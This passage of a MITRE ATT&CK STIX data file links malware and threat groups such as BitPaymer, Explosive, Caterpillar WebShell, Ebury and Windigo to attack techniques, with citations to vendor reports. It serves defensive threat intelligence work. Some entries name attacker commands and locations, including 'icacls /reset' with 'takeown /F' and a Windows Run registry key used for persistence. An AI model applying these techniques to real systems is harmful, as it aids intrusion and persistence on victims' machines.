            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "external_references": [
                {
                    "source_name": "Crowdstrike Indrik November 2018",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[BitPaymer](https://attack.mitre.org/software/S0570) has attempted to install itself as a service to maintain persistence.(Citation: Crowdstrike Indrik November 2018)",
            "relationship_type": "uses",
            "id": "relationship--8ddf6a79-a4ff-4229-9923-bec8fe120ceb",
            "type": "relationship",
            "modified": "2021-02-08T23:18:31.890Z",
            "created": "2021-02-08T23:18:31.890Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100",
            "target_ref": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee",
            "external_references": [
                {
                    "source_name": "Crowdstrike Indrik November 2018",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can use <code>icacls /reset</code> and <code>takeown /F</code> to reset a targeted executable's permissions and then take ownership.(Citation: Crowdstrike Indrik November 2018)",
            "relationship_type": "uses",
            "id": "relationship--3dbc782c-2030-4b32-9bf7-36c65bc9e749",
            "type": "relationship",
            "modified": "2021-02-08T23:18:31.887Z",
            "created": "2021-02-08T23:18:31.887Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Crowdstrike Indrik November 2018",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[BitPaymer](https://attack.mitre.org/software/S0570) has used RC4-encrypted strings and string hashes to avoid identifiable strings within the binary.(Citation: Crowdstrike Indrik November 2018)",
            "relationship_type": "uses",
            "id": "relationship--54f9c8a5-0677-4be8-bd72-a6a096be00bd",
            "type": "relationship",
            "modified": "2021-02-08T23:18:31.894Z",
            "created": "2021-02-08T23:18:31.894Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "source_name": "Crowdstrike Indrik November 2018",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[BitPaymer](https://attack.mitre.org/software/S0570) has set the run key <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> for persistence.(Citation: Crowdstrike Indrik November 2018)",
            "relationship_type": "uses",
            "id": "relationship--5ec68d1c-9ba8-4f9c-b185-f4e8482a66b2",
            "type": "relationship",
            "modified": "2021-02-08T23:18:31.901Z",
            "created": "2021-02-08T23:18:31.901Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "external_references": [
                {
                    "source_name": "Crowdstrike Indrik November 2018",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/",
                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can enumerate existing Windows services on the host that are configured to run as LocalSystem.(Citation: Crowdstrike Indrik November 2018)",
            "relationship_type": "uses",
            "id": "relationship--d0162247-12e2-4c0e-8efe-d5c4823e0fcd",
            "type": "relationship",
            "modified": "2021-02-08T23:18:31.892Z",
            "created": "2021-02-08T23:18:31.892Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44",
            "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
            "external_references": [
                {
                    "source_name": "CheckPoint Volatile Cedar March 2015",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf",
                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."
                }
            ],
            "description": "[Explosive](https://attack.mitre.org/software/S0569) can scan all .exe files located in the USB drive.(Citation: CheckPoint Volatile Cedar March 2015) ",
            "relationship_type": "uses",
            "id": "relationship--50b2e4e3-8740-463b-87fc-e96c4b62fbe5",
            "type": "relationship",
            "modified": "2021-02-09T16:54:09.252Z",
            "created": "2021-02-09T16:54:09.252Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "external_references": [
                {
                    "source_name": "CheckPoint Volatile Cedar March 2015",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf",
                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."
                }
            ],
            "description": "[Explosive](https://attack.mitre.org/software/S0569) has collected the username from the infected host.(Citation: CheckPoint Volatile Cedar March 2015) ",
            "relationship_type": "uses",
            "id": "relationship--6b1fd87c-b8d1-4ea1-9cc3-bc4fb1cd2fbd",
            "type": "relationship",
            "modified": "2021-02-09T18:36:22.109Z",
            "created": "2021-02-09T18:36:22.109Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "CheckPoint Volatile Cedar March 2015",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf",
                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."
                }
            ],
            "description": "[Explosive](https://attack.mitre.org/software/S0569) has collected the computer name from the infected host.(Citation: CheckPoint Volatile Cedar March 2015) ",
            "relationship_type": "uses",
            "id": "relationship--c0220333-2cfb-4449-acbb-9bea0b7751b4",
            "type": "relationship",
            "modified": "2021-04-27T01:56:35.910Z",
            "created": "2021-02-09T18:36:22.126Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "CheckPoint Volatile Cedar March 2015",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf",
                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."
                }
            ],
            "description": "[Explosive](https://attack.mitre.org/software/S0569) has used HTTP for communication.(Citation: CheckPoint Volatile Cedar March 2015)",
            "relationship_type": "uses",
            "id": "relationship--aae10582-ba88-4a02-9d66-fd460bf4f303",
            "type": "relationship",
            "modified": "2021-02-09T18:36:22.131Z",
            "created": "2021-02-09T18:36:22.131Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44",
            "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "external_references": [
                {
                    "source_name": "CheckPoint Volatile Cedar March 2015",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf",
                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."
                }
            ],
            "description": "[Explosive](https://attack.mitre.org/software/S0569) has commonly set file and path attributes to hidden.(Citation: CheckPoint Volatile Cedar March 2015)",
            "relationship_type": "uses",
            "id": "relationship--d80d5ba4-22ea-4ef4-94e6-f9fbaa3ca641",
            "type": "relationship",
            "modified": "2021-02-09T18:36:22.174Z",
            "created": "2021-02-09T18:36:22.174Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Volatile Cedar](https://attack.mitre.org/groups/G0123) can deploy additional tools.(Citation: ClearSky Lebanese Cedar Jan 2021)",
            "relationship_type": "uses",
            "id": "relationship--aaac742e-ad51-470d-826c-8196cf3c1d3e",
            "type": "relationship",
            "modified": "2021-02-10T18:04:49.076Z",
            "created": "2021-02-10T18:04:49.076Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "external_references": [
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Explosive](https://attack.mitre.org/software/S0569) has encrypted communications with the RC4 method.(Citation: ClearSky Lebanese Cedar Jan 2021) ",
            "relationship_type": "uses",
            "id": "relationship--87480e5f-2284-43cb-86e6-01c0c49c2c23",
            "type": "relationship",
            "modified": "2021-02-10T18:12:09.761Z",
            "created": "2021-02-10T18:12:09.761Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can search for files in directories.(Citation: ClearSky Lebanese Cedar Jan 2021) ",
            "relationship_type": "uses",
            "id": "relationship--3f824a1b-70d5-4859-bd55-6b084f602a52",
            "type": "relationship",
            "modified": "2021-02-10T18:20:51.667Z",
            "created": "2021-02-10T18:20:51.667Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to download and upload files to the system.(Citation: ClearSky Lebanese Cedar Jan 2021) ",
            "relationship_type": "uses",
            "id": "relationship--d4dc5fe6-fbfb-4718-8a7f-cd1eca70db61",
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            "external_references": [
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                    "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/",
                    "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."
                }
            ],
            "description": "[Ebury](https://attack.mitre.org/software/S0377) can deactivate PAM modules to tamper with the sshd configuration.(Citation: ESET Ebury Oct 2017)",
            "relationship_type": "uses",
            "id": "relationship--0b7d2693-022f-41be-a8b7-0f433e3ec48d",
            "type": "relationship",
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            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
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                    "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/",
                    "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."
                }
            ],
            "description": "[Ebury](https://attack.mitre.org/software/S0377) can disable SELinux Role-Based Access Control and deactivate PAM modules.(Citation: ESET Ebury Oct 2017)",
            "relationship_type": "uses",
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            "external_references": [
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                    "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/",
                    "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."
                }
            ],
            "description": "[Ebury](https://attack.mitre.org/software/S0377) has injected its dynamic library into descendent processes of sshd via LD_PRELOAD.(Citation: ESET Ebury Oct 2017)",
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                    "source_name": "ESET Ebury Oct 2017",
                    "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/",
                    "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."
                }
            ],
            "description": "[Ebury](https://attack.mitre.org/software/S0377) has used user mode rootkit techniques to remain hidden on the system.(Citation: ESET Ebury Oct 2017)",
            "relationship_type": "uses",
            "id": "relationship--05a3d203-4b38-4f38-a015-dcfe3bdf9c07",
            "type": "relationship",
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        },
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            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
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                    "source_name": "ESET Ebury Oct 2017",
                    "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/",
                    "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."
                }
            ],
            "description": "[Ebury](https://attack.mitre.org/software/S0377) has verified C2 domain ownership by decrypting the TXT record using an embedded RSA public key.(Citation: ESET Ebury Oct 2017)",
            "relationship_type": "uses",
            "id": "relationship--4800e509-0653-4895-a9f0-e0b538592875",
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                {
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                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to use a rootkit on a system.(Citation: ClearSky Lebanese Cedar Jan 2021) ",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
            "external_references": [
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to perform brute force attacks on a system.(Citation: ClearSky Lebanese Cedar Jan 2021) ",
            "relationship_type": "uses",
            "id": "relationship--4cf22fd0-af3a-41b7-b0ad-07b73b6d5516",
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        {
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            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "external_references": [
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can gather the IP address from the victim's machine using the IP config command.(Citation: ClearSky Lebanese Cedar Jan 2021) ",
            "relationship_type": "uses",
            "id": "relationship--37fd810c-c64d-482b-98d5-5a19ce77f9f6",
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        },
        {
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            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to gather information from the compromrised asset, including the computer version, computer name, IIS version, and more.(Citation: ClearSky Lebanese Cedar Jan 2021) ",
            "relationship_type": "uses",
            "id": "relationship--b844919a-e7d8-4317-9f0d-56338bae818c",
            "type": "relationship",
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            "created": "2021-02-10T19:12:08.186Z"
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        {
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            ],
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            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "external_references": [
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can obtain a list of the services from a system.(Citation: ClearSky Lebanese Cedar Jan 2021) ",
            "relationship_type": "uses",
            "id": "relationship--7542421c-f673-4f85-85ae-b4283173c48d",
            "type": "relationship",
            "modified": "2021-02-10T19:16:02.423Z",
            "created": "2021-02-10T19:16:02.423Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can gather a list of processes running on the machine.(Citation: ClearSky Lebanese Cedar Jan 2021) ",
            "relationship_type": "uses",
            "id": "relationship--333c5688-edc4-40ba-a382-e98f4473d8c7",
            "type": "relationship",
            "modified": "2021-02-10T19:16:02.446Z",
            "created": "2021-02-10T19:16:02.446Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "external_references": [
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to use a port scanner on a system.(Citation: ClearSky Lebanese Cedar Jan 2021) ",
            "relationship_type": "uses",
            "id": "relationship--f46bb223-1276-4266-b653-d6b8c2943adf",
            "type": "relationship",
            "modified": "2021-02-10T19:16:02.460Z",
            "created": "2021-02-10T19:16:02.460Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3",
            "target_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64",
            "external_references": [
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                },
                {
                    "source_name": "CheckPoint Volatile Cedar March 2015",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf",
                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."
                }
            ],
            "description": "(Citation: ClearSky Lebanese Cedar Jan 2021)(Citation: CheckPoint Volatile Cedar March 2015)",
            "relationship_type": "uses",
            "id": "relationship--5b642677-f57c-4eb7-9e9e-33e12de48cd1",
            "type": "relationship",
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            "created": "2021-02-10T19:36:49.355Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "external_references": [
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a command to modify a Registry key.(Citation: ClearSky Lebanese Cedar Jan 2021)",
            "relationship_type": "uses",
            "id": "relationship--8ecc61b0-c0b9-4f3a-a6b4-53c88e1d9bb7",
            "type": "relationship",
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        },
        {
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            "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
            "external_references": [
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can obtain a list of local groups of users from a system.(Citation: ClearSky Lebanese Cedar Jan 2021)",
            "relationship_type": "uses",
            "id": "relationship--9c089e25-2028-4afb-9f05-b28d5055f444",
            "type": "relationship",
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            "created": "2021-02-10T19:41:52.674Z"
        },
        {
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            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "external_references": [
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can obtain a list of user accounts from a victim's machine.(Citation: ClearSky Lebanese Cedar Jan 2021)",
            "relationship_type": "uses",
            "id": "relationship--c22f5416-2726-491e-ae10-35ec32ff9173",
            "type": "relationship",
            "modified": "2021-02-10T19:41:52.677Z",
            "created": "2021-02-10T19:41:52.677Z"
        },
        {
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            "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can run commands on the compromised asset with CMD functions.(Citation: ClearSky Lebanese Cedar Jan 2021)",
            "relationship_type": "uses",
            "id": "relationship--6188b02d-e7cb-417a-9093-e2d2eea5883f",
            "type": "relationship",
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            "created": "2021-02-10T19:41:52.687Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a",
            "target_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51",
            "relationship_type": "uses",
            "id": "relationship--66a73f1e-dfb8-4509-be62-787c9a14c221",
            "external_references": [
                {
                    "source_name": "ESET Ebury Oct 2017",
                    "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/",
                    "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."
                }
            ],
            "description": "(Citation: ESET Ebury Oct 2017)",
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            "modified": "2021-03-15T19:12:18.896Z",
            "created": "2021-02-10T19:57:38.177Z"
        },
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                    "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo \u2013 the vivisection of a large Linux server\u2011side credential\u2011stealing malware campaign. Retrieved February 10, 2021."
                }
            ],
            "description": "[Windigo](https://attack.mitre.org/groups/G0124) has delivered a generic Windows proxy Win32/Glubteta.M. [Windigo](https://attack.mitre.org/groups/G0124) has also used multiple reverse proxy chains as part of their C2 infrastructure.(Citation: ESET Windigo Mar 2014)",
            "relationship_type": "uses",
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                {
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                    "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo \u2013 the vivisection of a large Linux server\u2011side credential\u2011stealing malware campaign. Retrieved February 10, 2021."
                }
            ],
            "description": "[Windigo](https://attack.mitre.org/groups/G0124) has distributed Windows malware via drive-by downloads.(Citation: ESET Windigo Mar 2014)",
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            "id": "relationship--f983de6b-eb17-4947-b4b0-50bd530f50e3",
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                    "url": "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/",
